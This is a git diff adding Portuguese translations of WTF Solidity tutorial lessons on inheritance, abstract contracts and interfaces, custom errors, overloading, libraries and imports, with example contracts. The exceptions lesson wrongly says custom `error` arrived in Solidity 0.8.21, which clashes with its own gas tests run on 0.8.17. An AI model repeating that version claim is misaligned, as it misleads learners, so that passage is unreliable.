todo o processo. Isso ocorre porque o Solidity adota uma abordagem semelhante ao Python, forçando um DAG (grafo acíclico direcionado) composto por classes base para garantir uma ordem específica. Para obter mais detalhes, consulte a [documentação oficial do Solidity](https://solidity-cn.readthedocs.io/zh/develop/contracts.html?highlight=%E7%BB%A7%E6%89%BF#index-16). + +## Verificação no Remix + +- Exemplo de herança simples: observe que o contrato `Baba` possui as funções herdadas de `Yeye` + + ![13-1](./img/13-1.png) + ![13-2](./img/13-2.png) +- Para o exemplo de herança múltipla, você pode seguir as etapas do exemplo de herança simples para implantar o contrato `Erzi` e observar as funções expostas e tentar chamá-las para verificar os logs. +- Exemplo de herança de modificadores + + ![13-3](./img/13-3.png) + ![13-4](./img/13-4.png) + ![13-5](./img/13-5.png) +- Exemplo de herança de construtores + + ![13-6](./img/13-6.png) + ![13-7](./img/13-7.png) +- Exemplo de chamada de função do contrato pai + + ![13-8](./img/13-8.png) + ![13-9](./img/13-9.png) + +- Exemplo de herança de diamante + + ![13-10](./img/13-10.png) + +## Conclusão + +Nesta aula, apresentamos os conceitos básicos da herança no Solidity, incluindo herança simples, herança múltipla, herança de modificadores e construtores, chamada de funções do contrato pai e o problema da herança de diamante na herança múltipla. + diff --git a/Languages/pt-br/14_Interface/AbstractDemo.sol b/Languages/pt-br/14_Interface/AbstractDemo.sol new file mode 100644 index 000000000..98cda59c8 --- /dev/null +++ b/Languages/pt-br/14_Interface/AbstractDemo.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +abstract contract Base{ + string public name = "Base"; + function getAlias() public pure virtual returns(string memory); +} + +contract BaseImpl is Base{ + function getAlias() public pure override returns(string memory){ + return "BaseImpl"; + } +} diff --git a/Languages/pt-br/14_Interface/Interface.sol b/Languages/pt-br/14_Interface/Interface.sol new file mode 100644 index 000000000..0657bcd52 --- /dev/null +++ b/Languages/pt-br/14_Interface/Interface.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +abstract contract InsertionSort{ + function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); +} + +import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; + +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom(address from, address to, uint256 tokenId) external; + + function transferFrom(address from, address to, uint256 tokenId) external; + + function approve(address to, uint256 tokenId) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function setApprovalForAll(address operator, bool _approved) external; + + function isApprovedForAll(address owner, address operator) external view returns (bool); + + function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; +} + +contract interactBAYC { + // Usando o endereço BAYC para criar uma variável de contrato de interface (rede principal ETH) + IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); + + // Usando a interface para chamar o balanceOf() do BAYC para consultar a quantidade de posições detidas. + function balanceOfBAYC(address owner) external view returns (uint256 balance){ + return BAYC.balanceOf(owner); + } + + // Ao chamar a função safeTransferFrom() da interface BAYC, é possível realizar uma transferência segura. + function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{ + BAYC.safeTransferFrom(from, to, tokenId); + } +} diff --git a/Languages/pt-br/14_Interface/InterfaceDemo.sol b/Languages/pt-br/14_Interface/InterfaceDemo.sol new file mode 100644 index 000000000..5ce97d21d --- /dev/null +++ b/Languages/pt-br/14_Interface/InterfaceDemo.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +interface Base { + function getFirstName() external pure returns(string memory); + function getLastName() external pure returns(string memory); +} +contract BaseImpl is Base{ + function getFirstName() external pure override returns(string memory){ + return "Amazing"; + } + function getLastName() external pure override returns(string memory){ + return "Ang"; + } +} diff --git a/Languages/pt-br/14_Interface/img/14-1.png b/Languages/pt-br/14_Interface/img/14-1.png new file mode 100644 index 000000000..7bc88ed7f Binary files /dev/null and b/Languages/pt-br/14_Interface/img/14-1.png differ diff --git a/Languages/pt-br/14_Interface/img/14-2.png b/Languages/pt-br/14_Interface/img/14-2.png new file mode 100644 index 000000000..96d495588 Binary files /dev/null and b/Languages/pt-br/14_Interface/img/14-2.png differ diff --git a/Languages/pt-br/14_Interface/readme.md b/Languages/pt-br/14_Interface/readme.md new file mode 100644 index 000000000..68ff0e9c1 --- /dev/null +++ b/Languages/pt-br/14_Interface/readme.md @@ -0,0 +1,126 @@ +# WTF Introdução Simples ao Solidity: 14. Contratos Abstratos e Interfaces + +Recentemente, tenho revisado meus conhecimentos de Solidity para consolidar os detalhes e estou escrevendo uma "Introdução Simples ao Solidity" para iniciantes (programadores avançados podem buscar outros tutoriais). Atualizo de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta lição, vamos usar o contrato de interface `ERC721` para explicar contratos abstratos (`abstract`) e interfaces (`interface`) no Solidity, ajudando a entender melhor o padrão `ERC721`. + +## Contratos Abstratos + +Se um contrato Solidity possui pelo menos uma função não implementada, ou seja, uma função que falta conteúdo na chave `{}`, então esse contrato deve ser marcado como `abstract`, caso contrário haverá um erro de compilação. Além disso, as funções não implementadas devem ser marcadas como `virtual`, para que possam ser sobrescritas pelos contratos filhos. Por exemplo, no contrato de [ordenamento por inserção](../10_InsertionSort) que vimos anteriormente, se ainda não decidimos como implementar a função de ordenação por inserção, podemos marcar o contrato como `abstract` e deixar outros preencherem esse detalhe. + +```solidity +abstract contract InsertionSort { + function insertionSort(uint[] memory a) public pure virtual returns (uint[] memory); +} +``` + +## Interfaces + +As interfaces são semelhantes a contratos abstratos, mas não implementam funcionalidades. Regras para interfaces: + +1. Não podem conter variáveis de estado. +2. Não podem conter construtores. +3. Não podem herdar de contratos que não sejam interfaces. +4. Todas as funções devem ser do tipo `external` e não devem ter um corpo de função. +5. Contratos que herdam de uma interface devem implementar todas as funções definidas na interface, exceto os eventos. + +Embora as interfaces não implementem nenhuma funcionalidade, elas são muito importantes. As interfaces são o esqueleto de um contrato inteligente, definem as funcionalidades do contrato e como elas podem ser acionadas: se um contrato inteligente implementa uma determinada interface (como `ERC20` ou `ERC721`), outras DApps e contratos inteligentes sabem como interagir com ele. Isso porque as interfaces fornecem duas informações importantes: + +1. O seletor `bytes4` para cada função do contrato e a assinatura da função `nomeDaFuncao(tipoDeCadaParametro)`. + +2. O ID da interface (para mais informações, veja [EIP165](https://eips.ethereum.org/EIPS/eip-165)). + +Além disso, as interfaces são equivalentes ao ABI (Application Binary Interface) de um contrato e podem ser convertidas uma na outra: compilando uma interface, podemos obter o ABI do contrato. Além disso, é possível converter um arquivo `json` ABI em um arquivo `sol` de interface usando a ferramenta [abi-to-sol](https://gnidan.github.io/abi-to-sol/). + +Vamos usar a interface do contrato `IERC721` como exemplo, que define 3 eventos e 9 funções. Todos os NFTs que seguem o padrão `ERC721` implementam essas funções. Podemos ver que a diferença entre uma interface e um contrato convencional é que cada função de uma interface termina com `;` enquanto em um contrato terminaria com `{}`. + +```solidity +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom(address from, address to, uint256 tokenId) external; + + function transferFrom(address from, address to, uint256 tokenId) external; + + function approve(address to, uint256 tokenId) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function setApprovalForAll(address operator, bool _approved) external; + + function isApprovedForAll(address owner, address operator) external view returns (bool); + + function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data) external; +} +``` + +### Eventos do IERC721 + +O `IERC721` possui 3 eventos, sendo que os eventos `Transfer` e `Approval` são encontrados também em contratos `ERC20`. + +- Evento `Transfer`: emitido durante transferências para registrar o endereço de origem `from`, o endereço de destino `to` e o `tokenId`. +- Evento `Approval`: emitido durante autorizações para registrar o endereço do proprietário `owner`, o endereço autorizado `approved` e o `tokenId`. +- Evento `ApprovalForAll`: emitido durante autorizações em massa para registrar o endereço de origem `owner`, o endereço autorizado `operator` e se a autorização foi concedida (`approved`). + +### Funções do IERC721 + +- `balanceOf`: retorna o saldo de NFTs de um determinado endereço `owner`. +- `ownerOf`: retorna o proprietário de um determinado `tokenId`. +- `transferFrom`: transfere um NFT normalmente, com os parâmetros sendo o endereço de origem `from`, o endereço de destino `to` e o `tokenId`. +- `safeTransferFrom`: transfere um NFT com segurança (se o destino for um contrato, o contrato precisa implementar a interface `ERC721Receiver`). Os parâmetros são o endereço de origem `from`, o endereço de destino `to` e o `tokenId`. +- `approve`: autoriza outro endereço a utilizar seu NFT. Os parâmetros são o endereço autorizado `approve` e o `tokenId`. +- `getApproved`: consulta qual endereço foi autorizado a utilizar um determinado `tokenId`. +- `setApprovalForAll`: concede autorização em massa dos seus NFTs para um determinado endereço `operator`. +- `isApprovedForAll`: verifica se um determinado endereço autorizou em massa outro endereço `operator`. +- `safeTransferFrom`: uma sobrecarga da função de transferência segura, com o parâmetro `data` adicionado. + +### Quando usar interfaces? + +Se soubermos que um contrato implementa a interface `IERC721`, não precisamos conhecer a implementação do código, apenas sabemos a função e como interagir com ele. + +Por exemplo, o token `Bored Ape Yacht Club (BAYC)` é um NFT do tipo `ERC721`, que implementa as funções definidas na interface `IERC721`. Não precisamos saber o código fonte, apenas o endereço do contrato. Com a interface `IERC721`, podemos interagir com o contrato, como consultar o saldo de um endereço com `balanceOf()` ou transferir um NFT com `safeTransferFrom()`. + +```solidity +contract interactBAYC { + // Criar uma variável de interface para o contrato BAYC (na mainnet do Ethereum) + IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); + + // Consultar o saldo de BAYC de um endereço usando a função balanceOf() + function balanceOfBAYC(address owner) external view returns (uint256 balance) { + return BAYC.balanceOf(owner); + } + + // Transferir BAYC de forma segura usando a função safeTransferFrom() + function safeTransferFromBAYC(address from, address to, uint256 tokenId) external { + BAYC.safeTransferFrom(from, to, tokenId); + } +} +``` + +## Verificação no Remix + +- Exemplo de contrato abstrato (um código de demonstração simples está na imagem abaixo) + + ![14-1](./img/14-1.png) +- Exemplo de interface (um código de demonstração simples está na imagem abaixo) + + ![14-2](./img/14-2.png) + +## Conclusão + +Nesta lição, expliquei os contratos abstratos (`abstract`) e interfaces (`interface`) no Solidity, que são úteis para escrever modelos e reduzir a repetição de código. Também discutimos a interface do contrato `IERC721` e como interagir com o contrato do Bored Ape Yacht Club (`BAYC`) usando essa interface. + diff --git a/Languages/pt-br/15_Errors/Error.sol b/Languages/pt-br/15_Errors/Error.sol new file mode 100644 index 000000000..fc61efbbc --- /dev/null +++ b/Languages/pt-br/15_Errors/Error.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// O custo de gás foi testado no Remix usando a versão 0.8.17 de compilação. +// Parâmetros utilizados tokenId = 123, address = {qualquer endereço} + +// Erro personalizado +error TransferNotOwner(); + +// erro TransferNotOwner(endereço remetente); + +contract Errors { + // Um mapa que registra o proprietário de cada TokenId + mapping(uint256 => address) private _owners; + + // Error method: custo de gás 24457 + // Erro com o parâmetro: custo de gás 24660 + function transferOwner1(uint256 tokenId, address newOwner) public { + if (_owners[tokenId] != msg.sender) { + revert TransferNotOwner(); + // revert TransferNotOwner(msg.sender); + } + _owners[tokenId] = newOwner; + } + + // require方法: custo de gas 24755 + function transferOwner2(uint256 tokenId, address newOwner) public { + require(_owners[tokenId] == msg.sender, "Transfer Not Owner"); + _owners[tokenId] = newOwner; + } + + // assert método: custo de gas 24473 + function transferOwner3(uint256 tokenId, address newOwner) public { + assert(_owners[tokenId] == msg.sender); + _owners[tokenId] = newOwner; + } +} diff --git a/Languages/pt-br/15_Errors/img/15-1.png b/Languages/pt-br/15_Errors/img/15-1.png new file mode 100644 index 000000000..b3f3bec82 Binary files /dev/null and b/Languages/pt-br/15_Errors/img/15-1.png differ diff --git a/Languages/pt-br/15_Errors/img/15-2.png b/Languages/pt-br/15_Errors/img/15-2.png new file mode 100644 index 000000000..2a67ba3b5 Binary files /dev/null and b/Languages/pt-br/15_Errors/img/15-2.png differ diff --git a/Languages/pt-br/15_Errors/img/15-3.png b/Languages/pt-br/15_Errors/img/15-3.png new file mode 100644 index 000000000..c96125f30 Binary files /dev/null and b/Languages/pt-br/15_Errors/img/15-3.png differ diff --git a/Languages/pt-br/15_Errors/readme.md b/Languages/pt-br/15_Errors/readme.md new file mode 100644 index 000000000..6b206f07e --- /dev/null +++ b/Languages/pt-br/15_Errors/readme.md @@ -0,0 +1,97 @@ +# WTF Introdução Simples ao Solidity: 15. Exceções + +Recentemente, tenho revisado o Solidity para reforçar alguns detalhes e estou escrevendo um "Guia Simples do Solidity" para iniciantes (os experts em programação podem procurar outros tutoriais). Atualizo de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site da WTF Academy](https://wtf.academy) + +Todo código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos falar sobre os três métodos para lançar exceções no Solidity: `error`, `require` e `assert`, e comparar o consumo de `gas` entre eles. + +## Exceções + +Ao escrever contratos inteligentes, é comum encontrar bugs. Os comandos de exceção do Solidity nos ajudam a fazer depuração. + +### Error + +`error` é um recurso adicionado na versão 0.8.21 do Solidity, que permite explicar de forma eficiente (e econômica em termos de `gas`) o motivo de uma operação falhar. É possível definir exceções fora dos contratos. Abaixo, definimos a exceção `TransferNotOwner`, que é lançada quando alguém que não é o dono da moeda tenta fazer uma transferência: + +```solidity +error TransferNotOwner(); // Erro personalizado +``` + +Também podemos definir uma exceção com parâmetros, para mostrar o endereço que tentou fazer a transferência: + +```solidity +error TransferNotOwner(address sender); // Erro personalizado com parâmetros +``` + +Durante a execução, o `error` deve ser usado em conjunto com o comando `revert`: + +```solidity +function transferOwner1(uint256 tokenId, address newOwner) public { + if(_owners[tokenId] != msg.sender){ + revert TransferNotOwner(); + // revert TransferNotOwner(msg.sender); + } + _owners[tokenId] = newOwner; +} +``` + +Definimos a função `transferOwner1()`, que verifica se o remetente é o dono da moeda. Se não for, uma exceção de `TransferNotOwner` é lançada; se for, a transferência é feita. + +### Require + +O comando `require` é uma maneira comum de lançar exceções antes da versão 0.8 do Solidity e ainda é amplamente utilizado. A desvantagem do `require` é que o consumo de `gas` aumenta com o tamanho da descrição da exceção, em comparação com o comando `error`. A sintaxe é: `require(condição de verificação, "descrição da exceção")`. Quando a condição não é atendida, uma exceção é lançada. + +Podemos reescrever a função `transferOwner1` usando o comando `require`: + +```solidity +function transferOwner2(uint256 tokenId, address newOwner) public { + require(_owners[tokenId] == msg.sender, "Transfer Not Owner"); + _owners[tokenId] = newOwner; +} +``` + +### Assert + +O comando `assert` geralmente é usado pelos programadores durante a depuração do código, pois não fornece uma explicação do motivo da exceção (ao contrário do `require`). A sintaxe é simples: `assert(condição)`. Se a condição não for atendida, uma exceção é lançada. + +Podemos reescrever a função `transferOwner1` usando o comando `assert`: + +```solidity +function transferOwner3(uint256 tokenId, address newOwner) public { + assert(_owners[tokenId] == msg.sender); + _owners[tokenId] = newOwner; +} +``` + +## Verificação no Remix + +1. Insira um número `uint256` qualquer e um endereço não nulo, chame a função `transferOwner1` (com `error`), e no console do Remix será exibida a nossa exceção customizada `TransferNotOwner`. + +2. Insira um número `uint256` qualquer e um endereço não nulo, chame a função `transferOwner2` (com `require`), e no console do Remix será exibida a descrição da exceção do comando `require`. + +3. Insira um número `uint256` qualquer e um endereço não nulo, chame a função `transferOwner3` (com `assert`), e apenas a exceção será lançada no console do Remix. + +## Comparação de consumo de gas entre os métodos + +Comparamos o consumo de `gas` dos três métodos de exceção no Remix, usando o botão de Debug do console, encontramos os seguintes valores: +(compilado com a versão 0.8.17) + +1. **Consumo de `gas` do método `error`**: 24457 (**Com parâmetro, consumo de `gas`**: 24660) +2. **Consumo de `gas` do método `require`**: 24755 +3. **Consumo de `gas` do método `assert`**: 24473 + +Podemos observar que o método `error` é o que consome menos `gas`, seguido pelo `assert`, e o `require` consome mais `gas`. Portanto, o `error` é uma boa opção, pois informa o motivo da exceção e consome menos `gas`. + +**Observação:** Antes da versão 0.8.0 do Solidity, o `assert` lançava uma `panic exception` que consumia todo o `gas` restante, sem reembolso. Mais detalhes podem ser encontrados na [documentação oficial](https://docs.soliditylang.org/en/v0.8.17/control-structures.html). + +## Conclusão + +Nesta lição, aprendemos sobre os três métodos para lançar exceções no Solidity: `error`, `require` e `assert`, e comparamos o consumo de `gas` entre eles. Concluímos que o `error` é uma opção eficiente, pois fornece explicação da exceção e consome menos `gas`. + diff --git a/Languages/pt-br/16_Overloading/Overloading.sol b/Languages/pt-br/16_Overloading/Overloading.sol new file mode 100644 index 000000000..a36af4518 --- /dev/null +++ b/Languages/pt-br/16_Overloading/Overloading.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + contract Overload { + function saySomething() public pure returns(string memory){ + return("Nothing"); + } + + function saySomething(string memory something) public pure returns(string memory){ + return(something); + } + + function f(uint8 _in) public pure returns (uint8 out) { + out = _in; + } + + function f(uint256 _in) public pure returns (uint256 out) { + out = _in; + } +} diff --git a/Languages/pt-br/16_Overloading/img/16-1.jpg b/Languages/pt-br/16_Overloading/img/16-1.jpg new file mode 100644 index 000000000..5782d3ee0 Binary files /dev/null and b/Languages/pt-br/16_Overloading/img/16-1.jpg differ diff --git a/Languages/pt-br/16_Overloading/readme.md b/Languages/pt-br/16_Overloading/readme.md new file mode 100644 index 000000000..12708acdb --- /dev/null +++ b/Languages/pt-br/16_Overloading/readme.md @@ -0,0 +1,54 @@ +## 16. Sobrecarga de Funções + +Recentemente, tenho revisitado o Solidity para revisar os detalhes e escrever um "Guia Simples de Solidity" para iniciantes (programadores mais experientes podem procurar outros tutoriais), com atualizações semanais de 1 a 3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +## Sobrecarga + +No `Solidity`, funções podem ser sobrecarregadas (`overloaded`), o que significa que funções com o mesmo nome, mas tipos de parâmetros diferentes, podem coexistir, sendo tratadas como funções distintas. É importante notar que o `Solidity` não permite a sobrecarga de modificadores (`modifiers`). + +### Sobrecarga de Funções + +Por exemplo, podemos definir duas funções chamadas `saySomething()`, uma sem parâmetros que retorna `"Nada"` e outra que recebe um parâmetro do tipo `string` e retorna essa `string`. + +```solidity +function saySomething() public pure returns (string memory){ + return "Nada"; +} + +function saySomething(string memory algo) public pure returns (string memory){ + return algo; +} +``` + +Após a compilação pelo compilador, as funções sobrecarregadas são transformadas em seletores de função diferentes devido aos tipos de parâmetros distintos. Para mais informações sobre seletores de função, consulte [Guia Simples de Solidity: 29. Seletor de Função](../29_Selector). + +Tomando como exemplo o contrato `Overloading.sol`, após compilação e implantação no Remix, ao chamar as funções sobrecarregadas `saySomething()` e `saySomething(string memory something)`, é possível observar que elas retornam resultados diferentes, sendo tratadas como funções distintas. + +### Correspondência de Argumentos + +Ao chamar uma função sobrecarregada, os argumentos reais passados são correspondidos aos tipos de variáveis dos parâmetros da função. Se houver múltiplas funções sobrecarregadas que correspondam aos argumentos passados, um erro será gerado. No exemplo a seguir, temos duas funções chamadas `f()`, uma com um parâmetro `uint8` e outra com um parâmetro `uint256`: + +```solidity +function f(uint8 _in) public pure returns (uint8 out) { + out = _in; +} + +function f(uint256 _in) public pure returns (uint256 out) { + out = _in; +} +``` + +Se chamarmos `f(50)`, como `50` pode ser convertido tanto para `uint8` quanto para `uint256`, um erro será gerado. + +## Conclusão + +Nesta lição, exploramos o uso básico da sobrecarga de funções no `Solidity`: funções com o mesmo nome, mas com tipos de parâmetros diferentes, podem coexistir e ser tratadas como funções distintas. + diff --git a/Languages/pt-br/17_Library/Library.sol b/Languages/pt-br/17_Library/Library.sol new file mode 100644 index 000000000..0ae28c53a --- /dev/null +++ b/Languages/pt-br/17_Library/Library.sol @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converte um `uint256` para sua representação decimal em `string` ASCII. + */ + function toString(uint256 value) public pure returns (string memory) { + // Inspirado na implementação da OraclizeAPI - licença MIT + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal em `string` ASCII. + */ + function toHexString(uint256 value) public pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converte um `uint256` para sua representação hexadecimal `string` ASCII com comprimento fixo. + */ + function toHexString(uint256 value, uint256 length) public pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } +} + + +// Usando uma função para chamar um contrato de biblioteca externa +contract UseLibrary{ + // Usando a instrução 'using' para utilizar uma biblioteca + using Strings for uint256; + function getString1(uint256 _number) public pure returns(string memory){ + // A biblioteca de funções adicionará automaticamente membros para variáveis do tipo uint256. + return _number.toHexString(); + } + + // Chamada direta pelo nome do contrato da biblioteca + function getString2(uint256 _number) public pure returns(string memory){ + return Strings.toHexString(_number); + } +} diff --git a/Languages/pt-br/17_Library/readme.md b/Languages/pt-br/17_Library/readme.md new file mode 100644 index 000000000..ff52411b8 --- /dev/null +++ b/Languages/pt-br/17_Library/readme.md @@ -0,0 +1,143 @@ +--- +title: 17. Contrato de Biblioteca +tags: + - solidity + - avançado + - wtfacademy + - biblioteca + - usando para +--- + +# WTF Introdução Simples ao Solidity: 17. Contrato de Biblioteca - Ficando nos ombros de gigantes + +Recentemente, tenho estudado Solidity novamente para consolidar alguns detalhes e escrever um "WTF Introdução Simples ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- +Nesta aula, vamos usar o contrato de biblioteca `String` referenciado pelo `ERC721` para explicar os contratos de biblioteca (`Library`) no Solidity e resumir as bibliotecas mais comumente usadas. + +## Contratos de Biblioteca + +Contratos de biblioteca são um tipo especial de contrato que existe para aumentar a reutilização de código no Solidity e reduzir o consumo de gás. Contratos de biblioteca são uma coleção de funções criadas por especialistas ou pelos desenvolvedores de um projeto. Nós apenas precisamos ficar nos ombros de gigantes e saber como usá-los. + +![Contratos de Biblioteca: Ficando nos ombros de gigantes](https://images.mirror-media.xyz/publication-images/HJC0UjkALdrL8a2BmAE2J.jpeg?height=300&width=388) + +Eles têm algumas diferenças em relação aos contratos normais: + +1. Não podem ter variáveis de estado +2. Não podem ser herdados nem herdar outros contratos +3. Não podem receber Ether +4. Não podem ser destruídos + +## Contrato de Biblioteca String + +O contrato de biblioteca `String` é uma biblioteca de código que converte um tipo `uint256` em seu equivalente em `string`. O código de exemplo é o seguinte: + +```solidity +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toString(uint256 value) public pure returns (string memory) { + // Inspired by OraclizeAPI's implementation - MIT licence + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. + */ + function toHexString(uint256 value) public pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. + */ + function toHexString(uint256 value, uint256 length) public pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } +} +``` + +Ele contém principalmente duas funções: `toString()`, que converte `uint256` em `string`, e `toHexString()`, que converte `uint256` em sua representação hexadecimal em `string`. + +### Como usar contratos de biblioteca + +Vamos usar a função `toHexString()` do contrato de biblioteca `String` para demonstrar duas maneiras de usar as funções de um contrato de biblioteca. + +1. Usando a instrução `using for` + + A instrução `using A for B;` pode ser usada para anexar uma biblioteca (A) a qualquer tipo (B). Após adicionar a instrução, as funções da biblioteca A serão automaticamente adicionadas como membros da variável do tipo B e podem ser chamadas diretamente. Observe que, ao chamar a função, essa variável será passada como o primeiro parâmetro: + + ```solidity + // Usando a instrução using for + using Strings for uint256; + function getString1(uint256 _number) public pure returns(string memory){ + // As funções do contrato de biblioteca serão automaticamente adicionadas como membros da variável uint256 + return _number.toHexString(); + } + ``` + +2. Chamando a função pelo nome da biblioteca + + ```solidity + // Chamando a função diretamente pelo nome da biblioteca + function getString2(uint256 _number) public pure returns(string memory){ + return Strings.toHexString(_number); + } + ``` + +Vamos implantar o contrato e testar com o valor `170`, ambas as formas retornarão a string hexadecimal correta "0xaa". Isso prova que chamamos com sucesso o contrato de biblioteca! + +![Chamando o contrato de biblioteca com sucesso](https://images.mirror-media.xyz/publication-images/bzB_JDC9f5VWHRjsjQyQa.png?height=750&width=580) + +## Conclusão + +Nesta aula, usamos o contrato de biblioteca `String`, referenciado pelo `ERC721`, para explicar os contratos de biblioteca (`Library`) no Solidity. 99% dos desenvolvedores não precisam escrever seus próprios contratos de biblioteca, apenas precisam saber quando usar um contrato de biblioteca escrito por especialistas. Alguns dos mais comumente usados são: + +1. [String](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Strings.sol): converte `uint256` em `String` +2. [Address](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Address.sol): verifica se um endereço é um contrato +3. [Create2](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Create2.sol): uso mais seguro da opcode `Create2` do EVM +4. [Arrays](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/utils/Arrays.sol): biblioteca relacionada a arrays. + diff --git a/Languages/pt-br/18_Import/Import.sol b/Languages/pt-br/18_Import/Import.sol new file mode 100644 index 000000000..2f28bd7a4 --- /dev/null +++ b/Languages/pt-br/18_Import/Import.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Importar por localização relativa do arquivo +import './Yeye.sol'; +// Importar um contrato específico através do `símbolo global` +import {Yeye} from './Yeye.sol'; +// Por meio de um URL de referência +//github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol'; +// 